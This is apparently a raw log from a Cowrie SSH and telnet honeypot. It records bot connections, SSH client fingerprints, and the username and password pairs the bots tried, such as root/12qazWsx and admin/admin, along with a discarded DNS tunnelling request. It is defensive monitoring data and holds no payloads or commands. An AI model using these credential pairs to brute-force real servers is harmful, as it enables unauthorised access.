{"eventid":"cowrie.session.closed","duration":42.242173194885254,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:29.446436Z","src_ip":"137.184.5.188","session":"551f6ffec390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:38.243919Z","src_ip":"139.19.117.129","session":"3846e3f64551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":39644,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e8f26596012","protocol":"ssh","message":"New connection: 154.70.102.114:39644 (10.17.0.5:22) [session: 1e8f26596012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:04.423358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:04.426955Z","src_ip":"154.70.102.114","session":"1e8f26596012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:04.638048Z","src_ip":"154.70.102.114","session":"1e8f26596012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qazWsx","message":"login attempt [root/12qazWsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:05.516941Z","src_ip":"154.70.102.114","session":"1e8f26596012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:06.730703Z","src_ip":"154.70.102.114","session":"1e8f26596012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":36776,"dst_ip":"10.17.0.5","dst_port":22,"session":"c274f2401335","protocol":"ssh","message":"New connection: 91.92.40.176:36776 (10.17.0.5:22) [session: c274f2401335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:13.853640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:13.857161Z","src_ip":"91.92.40.176","session":"c274f2401335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:13.938303Z","src_ip":"91.92.40.176","session":"c274f2401335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:14.200870Z","src_ip":"91.92.40.176","session":"c274f2401335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00169610977173,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:15.024632Z","src_ip":"143.198.154.150","session":"261cedb636c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:15.300884Z","src_ip":"91.92.40.176","session":"c274f2401335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":42804,"dst_ip":"10.17.0.5","dst_port":22,"session":"fba62e34981c","protocol":"ssh","message":"New connection: 38.242.143.220:42804 (10.17.0.5:22) [session: fba62e34981c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:20.673369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:20.677610Z","src_ip":"38.242.143.220","session":"fba62e34981c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:20.786797Z","src_ip":"38.242.143.220","session":"fba62e34981c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bahamas","password":"Nassau#Bitc0!n$M@st3r","message":"login attempt [bahamas/Nassau#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:21.140901Z","src_ip":"38.242.143.220","session":"fba62e34981c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60090,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1010484ba5","protocol":"telnet","message":"New connection: 170.64.224.25:60090 (159.203.135.109:23) [session: 9a1010484ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:21.681993Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:22.270517Z","src_ip":"38.242.143.220","session":"fba62e34981c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":5846,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa096ef2e26","protocol":"ssh","message":"New connection: 176.53.159.196:5846 (159.203.135.109:22) [session: aaa096ef2e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:38.491276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:38.496304Z","src_ip":"176.53.159.196","session":"aaa096ef2e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:38.595097Z","src_ip":"176.53.159.196","session":"aaa096ef2e26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:38.899415Z","src_ip":"176.53.159.196","session":"aaa096ef2e26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:39.001707Z","session":"aaa096ef2e26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:39.102810Z","src_ip":"176.53.159.196","session":"aaa096ef2e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:39.203746Z","src_ip":"176.53.159.196","session":"aaa096ef2e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53734,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4752410fc6c","protocol":"ssh","message":"New connection: 154.70.102.114:53734 (10.17.0.5:22) [session: c4752410fc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:46.681981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:46.684793Z","src_ip":"154.70.102.114","session":"c4752410fc6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:46.893451Z","src_ip":"154.70.102.114","session":"c4752410fc6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty14","message":"login attempt [root/qwerty14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:47.766491Z","src_ip":"154.70.102.114","session":"c4752410fc6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:48.977997Z","src_ip":"154.70.102.114","session":"c4752410fc6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":41024,"dst_ip":"10.17.0.5","dst_port":22,"session":"622577911516","protocol":"ssh","message":"New connection: 50.6.173.74:41024 (10.17.0.5:22) [session: 622577911516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:52.643129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:52.646888Z","src_ip":"50.6.173.74","session":"622577911516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:52.672309Z","src_ip":"50.6.173.74","session":"622577911516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samouraiwallet","password":"samourai123","message":"login attempt [samouraiwallet/samourai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:52.749174Z","src_ip":"50.6.173.74","session":"622577911516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:27:53.777386Z","src_ip":"50.6.173.74","session":"622577911516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.81912708282471,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:05.500978Z","src_ip":"170.64.224.25","session":"9a1010484ba5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":55010,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3936fe6f1eb","protocol":"ssh","message":"New connection: 103.77.242.62:55010 (10.17.0.5:22) [session: a3936fe6f1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:11.999057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:12.003030Z","src_ip":"103.77.242.62","session":"a3936fe6f1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:12.241802Z","src_ip":"103.77.242.62","session":"a3936fe6f1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050386","message":"login attempt [root/050386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:15.036537Z","src_ip":"103.77.242.62","session":"a3936fe6f1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:16.836204Z","src_ip":"103.77.242.62","session":"a3936fe6f1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":39592,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5877118fb80","protocol":"ssh","message":"New connection: 154.70.102.114:39592 (10.17.0.5:22) [session: d5877118fb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:30.821819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:28:30.825533Z","src_ip":"154.70.102.114","session":"d5877118fb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 